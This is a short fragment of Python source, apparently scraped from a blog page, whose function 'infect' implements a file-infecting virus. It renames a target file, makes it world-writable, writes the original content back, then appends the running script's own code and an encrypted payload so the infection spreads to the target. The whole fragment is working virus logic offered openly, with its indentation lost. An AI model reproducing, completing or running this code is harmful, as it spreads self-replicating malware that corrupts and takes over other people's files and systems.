def infect(filename):
os.rename(filename, filename + '-copy')
destination = open(filename, 'w')
os.chmod(filename, 0777)
source = open(filename + '-copy', 'r')
this = open(__main__.__file__, 'r')
# Append the original file
for line in source:
destination.write(line)
destination.write("\n######################################################## First script python\n")
destination.write("# coding=utf-8\n")
destination.write("# Start Unencrypted\n")
copy = False
result = ''
for line in this:
if line.strip() == '# Start Unencrypted':
copy = True
elif line.strip() == '# End Unencrypted':
destination.write('# End Unencrypted')
copy = False
elif copy:
destination.write(line);
destination.write("\n# Start payload\n")
destination.write("#")
destination.write(str(encrypt(e, filename)))
destination.write("\n# End payload")
os.remove(filename + '-copy')
source.close()
destination.close()
this.close()
评论列表
文章目录